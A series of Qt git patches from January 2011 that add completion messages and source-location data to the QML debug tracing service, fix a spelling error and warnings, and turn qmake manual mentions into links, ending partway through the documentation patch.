    From 1873b12eb8f5175aa852341a7055add77b6fcc80 Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Mon, 17 Jan 2011 10:36:45 +1000
    Subject: Add "Complete" message for tracing.
    
    ---
     src/declarative/debugger/qdeclarativedebugtrace.cpp | 6 ++++++
     src/declarative/debugger/qdeclarativedebugtrace_p.h | 1 +
     2 files changed, 7 insertions(+)
    
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    index cdf0001..9fa1f5b 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
    +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    @@ -165,6 +165,12 @@ void QDeclarativeDebugTrace::sendMessages()
             for (int i = 0; i < m_data.count(); ++i)
                 sendMessage(m_data.at(i).toByteArray());
             m_data.clear();
    +
    +        //indicate completion
    +        QByteArray data;
    +        QDataStream ds(&data, QIODevice::WriteOnly);
    +        ds << (qint64)-1 << (int)Complete;
    +        sendMessage(data);
         }
     }
     
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    index 008c59e..39268fe 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h
    +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    @@ -70,6 +70,7 @@ public:
             RangeStart,
             RangeData,
             RangeEnd,
    +        Complete,
     
             MaximumMessage
         };
    -- 
    cgit v0.12
    
    
    From d7a95474fad9d5ddcc9c9a7473a49644c03e0f7a Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Fri, 21 Jan 2011 13:48:36 +1000
    Subject: Add location information for tracing.
    
    ---
     .../debugger/qdeclarativedebugtrace.cpp            | 42 +++++++++++++++++++---
     .../debugger/qdeclarativedebugtrace_p.h            | 12 +++++--
     src/declarative/qml/qdeclarativebinding.cpp        |  1 +
     src/declarative/qml/qdeclarativeboundsignal.cpp    | 10 ++++--
     src/declarative/qml/qdeclarativeengine.cpp         | 10 ++++--
     5 files changed, 63 insertions(+), 12 deletions(-)
    
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    index 9fa1f5b..4bad405 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
    +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    @@ -58,6 +58,8 @@ QByteArray QDeclarativeDebugData::toByteArray() const
         ds << time << messageType << detailType;
         if (messageType == (int)QDeclarativeDebugTrace::RangeData)
             ds << detailData;
    +    if (messageType == (int)QDeclarativeDebugTrace::RangeLocation)
    +        ds << detailData << line;
         return data;
     }
     
    @@ -92,6 +94,18 @@ void QDeclarativeDebugTrace::rangeData(RangeType t, const QUrl &data)
             traceInstance()->rangeDataImpl(t, data);
     }
     
    +void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QString &fileName, int line)
    +{
    +    if (QDeclarativeDebugService::isDebuggingEnabled())
    +        traceInstance()->rangeLocationImpl(t, fileName, line);
    +}
    +
    +void QDeclarativeDebugTrace::rangeLocation(RangeType t, const QUrl &fileName, int line)
    +{
    +    if (QDeclarativeDebugService::isDebuggingEnabled())
    +        traceInstance()->rangeLocationImpl(t, fileName, line);
    +}
    +
     void QDeclarativeDebugTrace::endRange(RangeType t)
     {
         if (QDeclarativeDebugService::isDebuggingEnabled()) 
    @@ -103,7 +117,7 @@ void QDeclarativeDebugTrace::addEventImpl(EventType event)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString()};
    +    QDeclarativeDebugData ed = {m_timer.elapsed(), (int)Event, (int)event, QString(), -1};
         processMessage(ed);
     }
     
    @@ -112,7 +126,7 @@ void QDeclarativeDebugTrace::startRangeImpl(RangeType range)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString()};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeStart, (int)range, QString(), -1};
         processMessage(rd);
     }
     
    @@ -121,7 +135,7 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QString &rData
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData, -1};
         processMessage(rd);
     }
     
    @@ -130,7 +144,25 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100))};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100)), -1};
    +    processMessage(rd);
    +}
    +
    +void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QString &fileName, int line)
    +{
    +    if (status() != Enabled || !m_enabled)
    +        return;
    +
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName, line};
    +    processMessage(rd);
    +}
    +
    +void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &fileName, int line)
    +{
    +    if (status() != Enabled || !m_enabled)
    +        return;
    +
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toEncoded(QUrl::FormattingOption(0x100)), line};
         processMessage(rd);
     }
     
    @@ -139,7 +171,7 @@ void QDeclarativeDebugTrace::endRangeImpl(RangeType range)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString()};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeEnd, (int)range, QString(), -1};
         processMessage(rd);
     }
     
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace_p.h b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    index 39268fe..ae0653e 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace_p.h
    +++ b/src/declarative/debugger/qdeclarativedebugtrace_p.h
    @@ -54,13 +54,14 @@ struct QDeclarativeDebugData
         qint64 time;
         int messageType;
         int detailType;
    -    QString detailData;
    +
    +    //###
    +    QString detailData; //used by RangeData and RangeLocation
    +    int line;           //used by RangeLocation
     
         QByteArray toByteArray() const;
     };
     
    -Q_DECLARE_TYPEINFO(QDeclarativeDebugData,Q_PRIMITIVE_TYPE);
    -
     class QUrl;
     class Q_AUTOTEST_EXPORT QDeclarativeDebugTrace : public QDeclarativeDebugService
     {
    @@ -69,6 +70,7 @@ public:
             Event,
             RangeStart,
             RangeData,
    +        RangeLocation,
             RangeEnd,
             Complete,
     
    @@ -98,6 +100,8 @@ public:
         static void startRange(RangeType);
         static void rangeData(RangeType, const QString &);
         static void rangeData(RangeType, const QUrl &);
    +    static void rangeLocation(RangeType, const QString &, int);
    +    static void rangeLocation(RangeType, const QUrl &, int);
         static void endRange(RangeType);
     
         QDeclarativeDebugTrace();
    @@ -108,6 +112,8 @@ private:
         void startRangeImpl(RangeType);
         void rangeDataImpl(RangeType, const QString &);
         void rangeDataImpl(RangeType, const QUrl &);
    +    void rangeLocationImpl(RangeType, const QString &, int);
    +    void rangeLocationImpl(RangeType, const QUrl &, int);
         void endRangeImpl(RangeType);
         void processMessage(const QDeclarativeDebugData &);
         void sendMessages();
    diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp
    index bd1ac5a..b2d0738 100644
    --- a/src/declarative/qml/qdeclarativebinding.cpp
    +++ b/src/declarative/qml/qdeclarativebinding.cpp
    @@ -298,6 +298,7 @@ public:
         {
             QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
             QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression());
    +        QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Binding, bind->sourceFile(), bind->lineNumber());
         }
     
         ~QDeclarativeBindingProfiler()
    diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp
    index 9b7e570..d5c9bfc 100644
    --- a/src/declarative/qml/qdeclarativeboundsignal.cpp
    +++ b/src/declarative/qml/qdeclarativeboundsignal.cpp
    @@ -51,6 +51,7 @@
     #include "private/qdeclarativeglobal_p.h"
     #include "private/qdeclarativedebugtrace_p.h"
     
    +#include 
     #include 
     
     QT_BEGIN_NAMESPACE
    @@ -166,8 +167,13 @@ QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o)
     int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
     {
         if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) {
    -        QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
    -        QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) + QLatin1String(": ") + (m_expression ? m_expression->expression() : QLatin1String("")));
    +        if (!m_expression)
    +            return -1;
    +        if (QDeclarativeDebugService::isDebuggingEnabled()) {
    +            QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
    +            QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) % QLatin1String(": ") % m_expression->expression());
    +            QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::HandlingSignal, m_expression->sourceFile(), m_expression->lineNumber());
    +        }
             m_isEvaluating = true;
             if (!m_paramsValid) {
                 if (!m_signal.parameterTypes().isEmpty())
    diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
    index 0f3f20c..99a098e 100644
    --- a/src/declarative/qml/qdeclarativeengine.cpp
    +++ b/src/declarative/qml/qdeclarativeengine.cpp
    @@ -964,8 +964,14 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
         QDeclarativeData *data = QDeclarativeData::get(object);
     
         if (data && data->deferredComponent) {
    -        QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
    -        QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, QLatin1String("Deferred Creation:") + object->metaObject()->className());
    +        if (QDeclarativeDebugService::isDebuggingEnabled()) {
    +            QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
    +            QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
    +            QString typeName = type ? QLatin1String(type->qmlTypeName()) : QString::fromLatin1(object->metaObject()->className());
    +            QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, typeName);
    +            if (data->outerContext)
    +                QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Creating, data->outerContext->url, data->lineNumber);
    +        }
             QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine);
     
             QDeclarativeComponentPrivate::ConstructionState state;
    -- 
    cgit v0.12
    
    
    From 6bcd2f316ef8d2f070f798cd6ac59ed67fecb0e1 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Tue, 25 Jan 2011 13:28:49 +1000
    Subject: Fix critical spelling mistake.
    
    ---
     src/declarative/graphicsitems/qdeclarativeitem.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index afa1b72..e1c138f 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -3235,7 +3235,7 @@ qreal QDeclarativeItem::implicitHeight() const
         \endcode
     
         \bold Note: using implicitWidth of Text or TextEdit and setting the width explicitly
    -    incurs a performance penalty as the text must be layed out twice.
    +    incurs a performance penalty as the text must be laid out twice.
     */
     
     
    -- 
    cgit v0.12
    
    
    From f15778e60ba538b8715f6433a472ffe08a21d934 Mon Sep 17 00:00:00 2001
    From: Michael Brasser 
    Date: Tue, 25 Jan 2011 14:59:03 +1000
    Subject: Fix warnings.
    
    ---
     src/declarative/debugger/qdeclarativedebugtrace.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/declarative/debugger/qdeclarativedebugtrace.cpp b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    index 4bad405..6f28736 100644
    --- a/src/declarative/debugger/qdeclarativedebugtrace.cpp
    +++ b/src/declarative/debugger/qdeclarativedebugtrace.cpp
    @@ -144,7 +144,7 @@ void QDeclarativeDebugTrace::rangeDataImpl(RangeType range, const QUrl &rData)
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toEncoded(QUrl::FormattingOption(0x100)), -1};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeData, (int)range, rData.toString(QUrl::FormattingOption(0x100)), -1};
         processMessage(rd);
     }
     
    @@ -162,7 +162,7 @@ void QDeclarativeDebugTrace::rangeLocationImpl(RangeType range, const QUrl &file
         if (status() != Enabled || !m_enabled)
             return;
     
    -    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toEncoded(QUrl::FormattingOption(0x100)), line};
    +    QDeclarativeDebugData rd = {m_timer.elapsed(), (int)RangeLocation, (int)range, fileName.toString(QUrl::FormattingOption(0x100)), line};
         processMessage(rd);
     }
     
    -- 
    cgit v0.12
    
    
    From d34466a2c4fef4d6b53b3d6fbf285260de9fa0ed Mon Sep 17 00:00:00 2001
    From: Morten Engvoldsen 
    Date: Tue, 25 Jan 2011 13:09:19 +0100
    Subject: Doc: fixing bugs and misspelling based on feedback
    
    ---
     doc/src/development/qmake-manual.qdoc              | 520 ++++++++++-----------
     doc/src/internationalization/linguist-manual.qdoc  |  26 +-
     .../webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc     |   2 +-
     3 files changed, 274 insertions(+), 274 deletions(-)
    
    diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc
    index b81d387..c33e777 100644
    --- a/doc/src/development/qmake-manual.qdoc
    +++ b/doc/src/development/qmake-manual.qdoc
    @@ -34,26 +34,26 @@
         \ingroup qttools
         \keyword qmake
     
    -    \c qmake is a tool that helps simplify the build
    -    process for development project across different platforms.  \c qmake
    +    \l {qmake}{ \c qmake} is a tool that helps simplify the build
    +    process for development project across different platforms.  \l {qmake}{ \c qmake}
         automates the generation of Makefiles so that only a few lines of
    -    information are needed to create each Makefile. \c qmake can be used for
    +    information are needed to create each Makefile. \l {qmake}{ \c qmake} can be used for
         any software project, whether it is written in Qt or not.
     
    -    \c qmake generates a Makefile based on the information in a project
    +    \l {qmake}{ \c qmake} generates a Makefile based on the information in a project
         file.  Project files are created by the developer, and are usually
         simple, but more sophisticated project files can be created for
         complex projects.
    -    \c qmake contains additional features to support development with Qt,
    +    \l {qmake}{ \c qmake} contains additional features to support development with Qt,
         automatically including build rules for \l{moc.html}{moc}
         and \l{uic.html}{uic}.
    -    \c qmake can also generate projects for Microsoft Visual studio
    +    \l {qmake}{ \c qmake} can also generate projects for Microsoft Visual studio
         without requiring the developer to change the project file.
     
         \section1 Getting Started
     
         The \l{qmake Tutorial} and guide to \l{qmake Common Projects} provide overviews
    -    that aim to help new users get started with \c qmake.
    +    that aim to help new users get started with \l {qmake}{ \c qmake}.
     
         \list
         \o \l{qmake Tutorial}
    @@ -98,22 +98,22 @@
         \previouspage qmake Manual
         \nextpage qmake Project Files
     
    -    \c qmake provides a project-oriented system for managing the build
    +    \l {qmake}{ \c qmake} provides a project-oriented system for managing the build
         process for applications, libraries, and other components. This
         approach gives developers control over the source files used, and
         allows each of the steps in the process to be described concisely,
    -    typically within a single file. \c qmake expands the information in
    +    typically within a single file. \l {qmake}{ \c qmake} expands the information in
         each project file to a Makefile that executes the necessary commands
         for compiling and linking.
     
         In this document, we provide a basic introduction to project files,
    -    describe some of the main features of \c qmake, and show how to use
    -    \c qmake on the command line.
    +    describe some of the main features of \l {qmake}{ \c qmake}, and show how to use
    +    \l {qmake}{ \c qmake} on the command line.
     
         \section1 Describing a Project
     
         Projects are described by the contents of project (\c .pro) files.
    -    The information within these is used by \c qmake to generate a Makefile
    +    The information within these is used by \l {qmake}{ \c qmake} to generate a Makefile
         containing all the commands that are needed to build each project.
         Project files typically contain a list of source and header files,
         general configuration information, and any application-specific details,
    @@ -134,12 +134,12 @@
     
         \section1 Building a Project
     
    -    For simple projects, you only need to run \c qmake in the top
    -    level directory of your project. By default, \c qmake generates a
    +    For simple projects, you only need to run \l {qmake}{ \c qmake} in the top
    +    level directory of your project. By default, \l {qmake}{ \c qmake} generates a
         Makefile that you then use to build the project, and you can then
         run your platform's \c make tool to build the project.
     
    -    \c qmake can also be used to generate project files. A full
    +    \l {qmake}{ \c qmake} can also be used to generate project files. A full
         description of \c{qmake}'s command line options can be found in the
         \l{Running qmake} chapter of this manual.
     
    @@ -157,7 +157,7 @@
         \previouspage Using qmake
         \nextpage Running qmake
     
    -    Project files contain all the information required by \c qmake to build
    +    Project files contain all the information required by \l {qmake}{ \c qmake} to build
         your application, library, or plugin. The resources used by your project
         are generally specified using a series of declarations, but support for
         simple programming constructs allow you to describe different build
    @@ -167,7 +167,7 @@
     
         \section1 Project File Elements
     
    -    The project file format used by \c qmake can be used to support both
    +    The project file format used by \l {qmake}{ \c qmake} can be used to support both
         simple and fairly complex build systems. Simple project files will
         use a straightforward declarative style, defining standard variables
         to indicate the source and header files that are used in the project.
    @@ -180,14 +180,14 @@
         \section2 Variables
     
         In a project file, variables are used to hold lists of strings.
    -    In the simplest projects, these variables inform \c qmake about the
    +    In the simplest projects, these variables inform \l {qmake}{ \c qmake} about the
         configuration options to use, or supply filenames and paths to use
         in the build process.
     
    -    \c qmake looks for certain variables in each project file, and it
    +    \l {qmake}{ \c qmake} looks for certain variables in each project file, and it
         uses the contents of these to determine what it should write to a
         Makefile. For example, the list of values in the \c HEADERS and
    -    \c SOURCES variables are used to tell \c qmake about header and
    +    \c SOURCES variables are used to tell \l {qmake}{ \c qmake} about header and
         source files in the same directory as the project file.
     
         Variables can also be used internally to store temporary lists of values,
    @@ -206,13 +206,13 @@
     
         \snippet doc/src/snippets/qmake/variables.pro 1
     
    -    The \c CONFIG variable is another special variable that \c qmake
    +    The \c CONFIG variable is another special variable that \l {qmake}{ \c qmake}
         uses when generating a Makefile. It is discussed in the section on
         \l{#GeneralConfiguration}{general configuration} later in this chapter.
         In the above line, \c qt is added to the list of existing values
         contained in \c CONFIG.
     
    -    The following table lists the variables that \c qmake recognizes, and
    +    The following table lists the variables that \l {qmake}{ \c qmake} recognizes, and
         describes what they should contain.
     
         \table
    @@ -276,7 +276,7 @@
     
         \section2 Built-in Functions and Control Flow
     
    -    \c qmake provides a number of built-in functions to allow the contents
    +    \l {qmake}{ \c qmake} provides a number of built-in functions to allow the contents
         of variables to be processed. The most commonly used function in simple
         project files is the \c include function which takes a filename as an
         argument. The contents of the given file are included in the project
    @@ -295,7 +295,7 @@
         The assignments inside the braces are only made if the condition is
         true. In this case, the special \c win32 variable must be set; this
         happens automatically on Windows, but this can also be specified on
    -    other platforms by running \c qmake with the \c{-win32} command line
    +    other platforms by running \l {qmake}{ \c qmake} with the \c{-win32} command line
         option (see \l{Running qmake} for more information). The opening
         brace must stand on the same line as the condition.
     
    @@ -316,15 +316,15 @@
         \section1 Project Templates
     
         The \c TEMPLATE variable is used to define the type of project that will
    -    be built. If this is not declared in the project file, \c qmake assumes
    +    be built. If this is not declared in the project file, \l {qmake}{ \c qmake} assumes
         that an application should be built, and will generate an appropriate
         Makefile (or equivalent file) for the purpose.
     
         The types of project available are listed in the following table with
    -    information about the files that \c qmake will generate for each of them:
    +    information about the files that \l {qmake}{ \c qmake} will generate for each of them:
     
         \table
    -    \header \o Template      \o Description of \c qmake output
    +    \header \o Template      \o Description of \l {qmake}{ \c qmake}output
         \row    \o app (default) \o Creates a Makefile to build an application.
         \row    \o lib           \o Creates a Makefile to build a library.
         \row    \o subdirs       \o Creates a Makefile containing rules for the
    @@ -339,7 +339,7 @@
         See the \l{qmake Tutorial} for advice on writing project files for
         projects that use the \c app and \c lib templates.
     
    -    When the \c subdirs template is used, \c qmake generates a Makefile
    +    When the \c subdirs template is used, \l {qmake}{ \c qmake} generates a Makefile
         to examine each specified subdirectory, process any project file it finds
         there, and run the platform's \c make tool on the newly-created Makefile.
         The \l{qmake Variable Reference#SUBDIRS}{SUBDIRS} variable is used to
    @@ -351,7 +351,7 @@
         The \l{qmake Variable Reference#CONFIG}{CONFIG variable} specifies the
         options and features that the compiler should use and the libraries that
         should be linked against. Anything can be added to the \c CONFIG variable,
    -    but the options covered below are recognized by \c qmake internally.
    +    but the options covered below are recognized by \l {qmake}{ \c qmake} internally.
     
         The following options control the compiler flags that are used to build the
         project:
    @@ -380,7 +380,7 @@
     
         The \c debug_and_release option is special in that it enables \e both debug and
         release versions of a project to be built. In such a case, the Makefile that
    -    \c qmake generates includes a rule that builds both versions, and this can be
    +    \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can be
         invoked in the following way:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 0
    @@ -428,7 +428,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 1
     
    -    Note, that you must use "+=", not "=", or \c qmake will not be able to
    +    Note, that you must use "+=", not "=", or \l {qmake}{ \c qmake} will not be able to
         use Qt's configuration to determine the settings needed for your project.
     
         \section1 Declaring Qt Libraries
    @@ -478,13 +478,13 @@
     
         \section1 Configuration Features
     
    -    \c qmake can be set up with extra configuration features that are specified
    +    \l {qmake}{ \c qmake} can be set up with extra configuration features that are specified
         in feature (.prf) files. These extra features often provide support for
         custom tools that are used during the build process. To add a feature to
         the build process, append the feature name (the stem of the feature filename)
         to the \c CONFIG variable.
     
    -    For example, \c qmake can configure the build process to take advantage
    +    For example, \l {qmake}{ \c qmake} can configure the build process to take advantage
         of external libraries that are supported by
         \l{http://www.freedesktop.org/wiki/Software_2fpkgconfig}{pkg-config},
         such as the D-Bus and ogg libraries, with the following lines:
    @@ -501,7 +501,7 @@
         If you are using other libraries in your project in addition to those
         supplied with Qt, you need to specify them in your project file.
     
    -    The paths that \c qmake searches for libraries and the specific libraries
    +    The paths that \l {qmake}{ \c qmake} searches for libraries and the specific libraries
         to link against can be added to the list of values in the
         \l{qmake Variable Reference#LIBS}{LIBS} variable. The paths to the libraries
         themselves can be given, or the familiar Unix-style notation for specifying
    @@ -527,7 +527,7 @@
         \previouspage qmake Project Files
         \nextpage qmake Platform Notes
     
    -    The behavior of \c qmake can be customized when it is run by
    +    The behavior of \l {qmake}{ \c qmake} can be customized when it is run by
         specifying various options on the command line. These allow the
         build process to be fine-tuned, provide useful diagnostic
         information, and can be used to specify the target platform for
    @@ -540,13 +540,13 @@
     
         \section2 Syntax
     
    -    The syntax used to run \c qmake takes the following simple form:
    +    The syntax used to run \l {qmake}{ \c qmake} takes the following simple form:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 8
     
    -    \c qmake supports two different modes of operation: In the default mode,
    -    \c qmake will use the description in a project file to generate a Makefile,
    -    but it is also possible to use \c qmake to generate project files.
    +    \l {qmake}{ \c qmake} supports two different modes of operation: In the default mode,
    +    \l {qmake}{ \c qmake} will use the description in a project file to generate a Makefile,
    +    but it is also possible to use \l {qmake}{ \c qmake} to generate project files.
         If you want to explicitly set the mode, you must specify it before all
         other options. The \c mode can be either of the following two values:
     
    @@ -569,10 +569,10 @@
     
         \section2 Options
     
    -    A wide range of options can be specified on the command line to \c qmake in
    +    A wide range of options can be specified on the command line to \l {qmake}{ \c qmake} in
         order to customize the build process, and to override default settings for
         your platform. The following basic options provide usage information, specify
    -    where \c qmake writes the output file, and control the level of debugging
    +    where \l {qmake}{ \c qmake} writes the output file, and control the level of debugging
         information that will be written to the console:
     
         \list
    @@ -588,7 +588,7 @@
         \endlist
     
         For projects that need to be built differently on each target platform, with
    -    many subdirectories, you can run \c qmake with each of the following
    +    many subdirectories, you can run \l {qmake}{ \c qmake} with each of the following
         options to set the corresponding platform-specific variable in each
         project file:
     
    @@ -642,7 +642,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 9
     
    -    In Makefile mode, \c qmake will generate a Makefile that is used to build the
    +    In Makefile mode, \l {qmake}{ \c qmake} will generate a Makefile that is used to build the
         project. Additionally, the following options may be used in this mode to
         influence the way the project file is generated:
     
    @@ -662,7 +662,7 @@
            and the value of \c QMAKESPEC will be ignored.
         \endlist
     
    -    You may also pass \c qmake assignments on the command line;
    +    You may also pass \l {qmake}{ \c qmake} assignments on the command line;
         they will be processed before all of the files specified. For example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 10
    @@ -683,7 +683,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 12
     
    -    In project mode, \c qmake will generate a project file. Additionally, you
    +    In project mode, \l {qmake}{ \c qmake} will generate a project file. Additionally, you
         may supply the following options in this mode:
     
         \list
    @@ -714,7 +714,7 @@
     
         Many cross-platform projects can be handled by the \c{qmake}'s basic
         configuration features. On some platforms, it is sometimes useful, or even
    -    necessary, to take advantage of platform-specific features. \c qmake knows
    +    necessary, to take advantage of platform-specific features. \l {qmake}{ \c qmake} knows
         about many of these features, and these can be accessed via specific
         variables that only have an effect on the platforms where they are relevant.
     
    @@ -727,15 +727,15 @@
     
         \section2 Source and Binary Packages
     
    -    The version of \c qmake supplied in source packages is configured slightly
    +    The version of \l {qmake}{ \c qmake} supplied in source packages is configured slightly
         differently to that supplied in binary packages in that it uses a different
         feature specification. Where the source package typically uses the
         \c macx-g++ specification, the binary package is typically configured to
         use the \c macx-xcode specification.
     
    -    Users of each package can override this configuration by invoking \c qmake
    +    Users of each package can override this configuration by invoking \l {qmake}{ \c qmake}
         with the \c -spec option (see \l{Running qmake} for more information). This
    -    makes it possible, for example, to use \c qmake from a binary package to
    +    makes it possible, for example, to use \l {qmake}{ \c qmake} from a binary package to
         create a Makefile in a project directory with the following command line
         invocation:
     
    @@ -743,7 +743,7 @@
     
         \section2 Using Frameworks
     
    -    \c qmake is able to automatically generate build rules for linking against
    +    \l {qmake}{ \c qmake} is able to automatically generate build rules for linking against
         frameworks in the standard framework directory on Mac OS X, located at
         \c{/Library/Frameworks/}.
     
    @@ -803,7 +803,7 @@
     
         The architectures to be supported in the binary are specified with the
         \l{qmake Variable Reference#CONFIG}{CONFIG} variable. For example, the
    -    following assignment causes \c qmake to generate build rules to create
    +    following assignment causes \l {qmake}{ \c qmake} to generate build rules to create
         a universal binary for both PowerPC and x86 architectures:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 18
    @@ -818,12 +818,12 @@
         Developers on Mac OS X can take advantage of \c{qmake}'s support for Xcode
         project files, as described in
         \l{Qt is Mac OS X Native#Development Tools}{Qt is Mac OS X Native},
    -    by running \c qmake to generate an Xcode project from an existing \c qmake
    +    by running \l {qmake}{ \c qmake} to generate an Xcode project from an existing \l {qmake}{ \c qmake}
         project files. For example:
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 19
     
    -    Note that, if a project is later moved on the disk, \c qmake must be run
    +    Note that, if a project is later moved on the disk, \l {qmake}{ \c qmake} must be run
         again to process the project file and create a new Xcode project file.
     
         \section2 On supporting two build targets simultaneously
    @@ -862,8 +862,8 @@
         \l{Qt Commercial Edition} and do not need to worry about how
         project dependencies are managed.
     
    -    However, some developers may need to import an existing \c qmake project
    -    into Visual Studio. \c qmake is able to take a project file and create a
    +    However, some developers may need to import an existing \l {qmake}{ \c qmake} project
    +    into Visual Studio. \l {qmake}{ \c qmake} is able to take a project file and create a
         Visual Studio project that contains all the necessary information required
         by the development environment. This is achieved by setting the \c qmake
         \l{qmake Variable Reference#TEMPLATE}{project template} to either \c vcapp
    @@ -878,7 +878,7 @@
     
         \snippet doc/src/snippets/code/doc_src_qmake-manual.qdoc 21
     
    -    Each time you update the project file, you need to run \c qmake to generate
    +    Each time you update the project file, you need to run \l {qmake}{ \c qmake} to generate
         an updated Visual Studio project.
     
         \note If you are using the Visual Studio Add-in, you can import \c .pro
    @@ -1011,7 +1011,7 @@
         \section1 Variable Reference
     
         The \l{qmake Variable Reference} describes the variables that are
    -    recognized by \c qmake when configuring the build process for
    +    recognized by \l {qmake}{ \c qmake}when configuring the build process for
         projects.
     
         \section1 Function Reference
    @@ -1061,7 +1061,7 @@
         \section1 Environment Variables and Configuration
     
         The \l{Configuring qmake's Environment} chapter of this manual
    -    describes the environment variables that \c qmake uses when
    +    describes the environment variables that \l {qmake}{ \c qmake} uses when
         configuring the build process.
     */
     
    @@ -1117,7 +1117,7 @@
     
         The \c CONFIG variable specifies project configuration and
         compiler options.  The values will be recognized internally by
    -    \c qmake and have special meaning.  They are as follows.
    +    \l {qmake}{ \c qmake} and have special meaning.  They are as follows.
     
         These \c CONFIG values control compilation flags:
     
    @@ -1153,23 +1153,23 @@
         defined in the \c CONFIG variable, it is necessary to use the
         \c debug_and_release option if you want to allow both debug and release
         versions of a project to be built. In such a case, the Makefile that
    -    \c qmake generates includes a rule that builds both versions, and this can
    +    \l {qmake}{ \c qmake} generates includes a rule that builds both versions, and this can
         be invoked in the following way:
     
